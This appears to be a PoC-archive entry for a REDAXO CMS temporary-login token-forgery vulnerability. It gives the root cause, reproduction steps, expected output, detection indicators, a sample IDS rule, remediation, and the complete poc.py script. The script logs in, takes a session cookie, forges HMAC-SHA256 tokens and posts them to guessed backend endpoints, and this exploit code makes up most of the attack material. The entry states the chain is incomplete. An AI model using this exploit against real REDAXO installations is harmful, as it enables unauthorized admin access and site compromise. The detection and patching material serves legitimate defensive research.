PoC Archive PoC Archive
CVE-2026-117532 category: web CVSS 9.8 (CRITICAL)
Patched

REDAXO Core Temporary-Login Token Forgery in structure/history (CVE-2026-117532)

Published: 2026-11-25 • Researcher: Aapo Koskinen (asvorg, PoC); REDAXO core team (GHSA-px8f-whj8-hrpq advisory)

Target software REDAXO core (structure/history plugin temporary-login validation)
Affected versions 5.3.0 to before 5.21.4 (per NVD/worklist description; NVD product and range arrays are empty)
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-117532
Category
web
Affected product
REDAXO core (structure/history plugin temporary-login validation)
Affected versions
5.3.0 to before 5.21.4 (per NVD/worklist description; NVD product and range arrays are empty)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-27
Author / ResearcherAapo Koskinen (asvorg, PoC); REDAXO core team (GHSA-px8f-whj8-hrpq advisory)
CVE / AdvisoryCVE-2026-117532
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3; vector not included in the worklist data)
StatusPoC
Tagsauthentication-bypass, token-forgery, REDAXO, PHP, CMS, HMAC-SHA256, session, unauthenticated, web-backend
RelatedN/A

Affected Target

FieldValue
Software / SystemREDAXO core (structure/history plugin temporary-login validation)
Versions Affected5.3.0 to before 5.21.4 (per NVD/worklist description; NVD product and range arrays are empty)
Language / PlatformPHP; web application (any OS serving REDAXO)
Authentication RequiredNo for the vulnerability; the archived PoC requires valid credentials to obtain a session
Network Access RequiredYes — HTTP/HTTPS access to the REDAXO backend

Summary

REDAXO core versions from 5.3.0 before 5.21.4 contain an authentication bypass in the structure/history plugin that allows unauthenticated attackers to forge temporary login tokens. An attacker can force the session-tied secret into a predictable state and forge a token for accounts such as admin, gaining backend access and code execution outside live mode. The archived PoC exercises the temporary-login validation flow: it logs in, derives an HMAC-SHA256 token from an authentication cookie and a future validtime value, and probes likely validation endpoints. Its upstream README states that the full exploit chain is not yet working due to lab issues, so it is archived as a limited PoC.

Vulnerability Details

Root Cause

The structure/history plugin validates temporary logins with a signature derived from a session-keyed secret and a client-supplied validtime. Because the session-tied secret can be forced into a predictable state, the signature no longer proves server-side authorization, and an attacker who can predict or control that state can mint a token for an arbitrary account. This is an improper authentication weakness (CWE-287) rather than a memory-safety bug. The PoC models the check as HMAC-SHA256 over the string login|validtime using the value of a REDAXO authentication cookie as the key.

Attack Vector

A remote, unauthenticated attacker sends crafted HTTP requests to the REDAXO backend front controller (index.php) using the plugin’s temporary-login API call, supplying login, validtime and token parameters. The token is a forged HMAC-SHA256 value computed over a session-derived key. No credentials are required for the real vulnerability; the archived PoC performs a normal login first so that it can read a session cookie and then probes candidate endpoint names.

Impact

Successful exploitation yields REDAXO backend access as the targeted account (for example admin), which exposes content, modules, users and configuration. The advisory notes that code execution is possible outside live mode, making this a path to full CMS compromise and, depending on the deployment, web-server command execution.

Environment / Lab Setup

Output
OS:          Linux, macOS or any host running Python 3.9+
Target:      REDAXO core 5.3.0 to 5.21.3 (official release archive or container image),
             reachable over HTTP/HTTPS with the structure/history plugin available
Attacker:    Python 3.9+, requests, beautifulsoup4
Tools:       poc.py, curl, a browser or proxy for manual review

Setup Steps

Shell script
1
2
3
pip install requests beautifulsoup4

python3 poc.py --target https://target.example --login admin --password secret

Proof of Concept

Step-by-Step Reproduction

  1. Normalize the target — the script accepts a base URL, requires an http or https scheme, and appends a trailing slash.

    Shell script
    1
    
    python3 poc.py --target https://target.example --login admin --password secret
  2. Fetch the login page — GET index.php and parse the anti-CSRF field named _csrf_token from the HTML form.

  3. Log in with the supplied account — POST the form fields javascript, rex_user_login, rex_user_psw, _csrf_token, rex_user_passkey and rex_user_stay_logged_in.

  4. Collect a session key — read the rex_user_* authentication cookie, falling back to session_id, rex_session_id, REDAXO_SESSION or PHPSESSID.

  5. Forge and submit temporary-login tokens — for each candidate API call (history_temporary_login, temporary_login, history_temporary, temporary, history_temporary-login), compute HMAC-SHA256 over login|validtime with the cookie value as key, then POST login, validtime and token.

  6. Review the output manually — the script prints the validation URL, token and response body; it stops at the first candidate that does not return 404 or 500.

Exploit Code

See poc.py in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import hashlib
import hmac

def hash_session_key(login: str, validtime: str, session_key: str) -> str:
    payload = f"{login}|{validtime}".encode("utf-8")
    key = session_key.encode("utf-8")
    return hmac.new(key, payload, hashlib.sha256).hexdigest()

payload = {"login": login, "validtime": validtime, "token": token}
session.post(validate_url, data=payload, timeout=10)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[login] final url: https://target.example/index.php
[login] status: 200
[login] cookie names: ['rex_user_hash', 'PHPSESSID']
[candidate] URL: https://target.example/index.php?rex-api-call=history_temporary_login
[candidate] status: 200
[candidate] token: <hex HMAC-SHA256 digest>
[candidate] body: <server response, truncated to 500 chars>
[final] validation URL: https://target.example/index.php?rex-api-call=history_temporary_login
[final] validtime: <unix timestamp + 300>
[final] token: <hex HMAC-SHA256 digest>
[final] response status: 200

The upstream README warns that the full chain is not yet working, so a 200 response alone does not prove backend access; success must be confirmed by manual review of the returned page or by replaying the token in a browser.

Detection & Indicators of Compromise

  • POST requests to the REDAXO front controller with rex-api-call values history_temporary_login, temporary_login or similar temporary-login names, carrying login, validtime and token parameters.
  • The PoC’s distinctive User-Agent: REDAXO-TempLogin-PoC/1.0.
  • Rapid sequential requests cycling through several rex-api-call endpoint spellings from the same source, with a mix of 200, 404 and 500 responses.
  • A successful temporary-login validation that is not preceded by the corresponding login flow, originates from a new source IP, or targets a privileged account such as admin.
  • Backend sessions created shortly after a burst of failed temporary-login probes.

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"REDAXO temporary-login token forgery probe"; \
  content:"rex-api-call=history_temporary_login"; http_uri; \
  content:"validtime="; http_client_body; \
  content:"REDAXO-TempLogin-PoC"; http_header; sid:900117532;)

Remediation

ActionDetail
PatchUpgrade REDAXO core to 5.21.4 or later and update the structure/history plugin with it.
WorkaroundDisable or restrict the structure/history plugin’s temporary-login feature, and remove temporary-login links until the upgrade can be applied.
Config HardeningRotate session secrets, restrict backend access by IP or VPN, enforce strong admin credentials and monitor temporary-login validation requests at the reverse proxy or WAF.

References

Notes

Auto-ingested from https://github.com/asvorg/CVE-2026-117532-poc on 2026-11-25.

Review verdict: the repository contains actual exploit code (poc.py) that forges HMAC-SHA256 temporary-login tokens against the REDAXO structure/history validation flow; it is not a detector, scanner or audit tool, so it was ingested. Limitations: the upstream README states the full chain is not yet working due to lab issues; the script requires a valid account and password to obtain a session cookie, guesses several endpoint names, and only prints candidate URLs and responses for manual review rather than demonstrating backend access or code execution. The upstream repository has no license file, so the files are archived with attribution for authorized research only. No exploit code was executed during ingestion; only poc.py and the upstream README were copied.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/asvorg/CVE-2026-117532-poc (see README for attribution/license)
import argparse
import hashlib
import hmac
import time
from urllib.parse import urljoin, urlsplit

import requests
from bs4 import BeautifulSoup


TIMEOUT = 10


def normalize_url(url: str) -> str:
    p = urlsplit(url)
    if p.scheme not in ("http", "https"):
        raise ValueError("Target must use http or https.")
    if not p.netloc:
        raise ValueError("Target must include a hostname.")
    return url if url.endswith("/") else url + "/"


def extract_csrf_token(html: str) -> str:
    soup = BeautifulSoup(html, "html.parser")
    field = soup.find("input", attrs={"name": "_csrf_token"})
    if field is None:
        raise RuntimeError("CSRF token not found")
    token = field.get("value")
    if not token:
        raise RuntimeError("CSRF token blank")
    return token


def hash_session_key(login: str, validtime: str, session_key: str) -> str:
    payload = f"{login}|{validtime}".encode("utf-8")
    key = session_key.encode("utf-8")
    return hmac.new(key, payload, hashlib.sha256).hexdigest()


def get_auth_cookie(session: requests.Session):
    # prefer actual REDAXO auth cookie
    for name in sorted(session.cookies.keys()):
        if name.startswith("rex_user_"):
            value = session.cookies.get(name)
            if value:
                return value

    # common fallbacks
    for name in ("session_id", "rex_session_id", "REDAXO_SESSION", "PHPSESSID"):
        value = session.cookies.get(name)
        if value:
            return value

    raise RuntimeError("No usable auth cookie found")


def login_and_get_session(base_url: str, username: str, password: str):
    base_url = normalize_url(base_url)
    login_url = urljoin(base_url, "index.php")

    session = requests.Session()
    session.headers["User-Agent"] = "REDAXO-TempLogin-PoC/1.0"

    page = session.get(login_url, timeout=TIMEOUT, allow_redirects=True)
    page.raise_for_status()

    csrf = extract_csrf_token(page.text)

    form = {
        "javascript": "1",
        "rex_user_login": username,
        "rex_user_psw": password,
        "_csrf_token": csrf,
        "rex_user_passkey": "",
        "rex_user_stay_logged_in": "1",
    }

    login_res = session.post(login_url, data=form, timeout=TIMEOUT, allow_redirects=True)
    print("[login] final url:", login_res.url)
    print("[login] status:", login_res.status_code)
    print("[login] cookie names:", sorted(session.cookies.keys()))

    return session, get_auth_cookie(session)


def try_validate_endpoints(session, base_url, login, session_key):
    candidates = [
        "index.php?rex-api-call=history_temporary_login",
        "index.php?rex-api-call=temporary_login",
        "index.php?rex-api-call=history_temporary",
        "index.php?rex-api-call=temporary",
        "index.php?rex-api-call=history_temporary-login",  # still invalid, but worth testing if weird
    ]

    for candidate in candidates:
        validate_url = urljoin(normalize_url(base_url), candidate)
        validtime = str(int(time.time()) + 300)
        token = hash_session_key(login, validtime, session_key)

        payload = {
            "login": login,
            "validtime": validtime,
            "token": token,
        }

        r = session.post(validate_url, data=payload, timeout=TIMEOUT, allow_redirects=True)

        print("[candidate] URL:", validate_url)
        print("[candidate] status:", r.status_code)
        print("[candidate] token:", token)
        print("[candidate] body:", r.text[:500])

        if r.status_code not in (500, 404):
            return validate_url, validtime, token, r

    raise RuntimeError("No usable API endpoint found")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--login", required=True)
    parser.add_argument("--password", required=True)
    args = parser.parse_args()

    session, session_key = login_and_get_session(args.target, args.login, args.password)
    validate_url, validtime, token, resp = try_validate_endpoints(
        session,
        args.target,
        args.login,
        session_key,
    )

    print("[final] validation URL:", validate_url)
    print("[final] validtime:", validtime)
    print("[final] token:", token)
    print("[final] response status:", resp.status_code)
    print("[final] final URL:", resp.url)
    print("[final] response:", resp.text[:2000])


if __name__ == "__main__":
    main()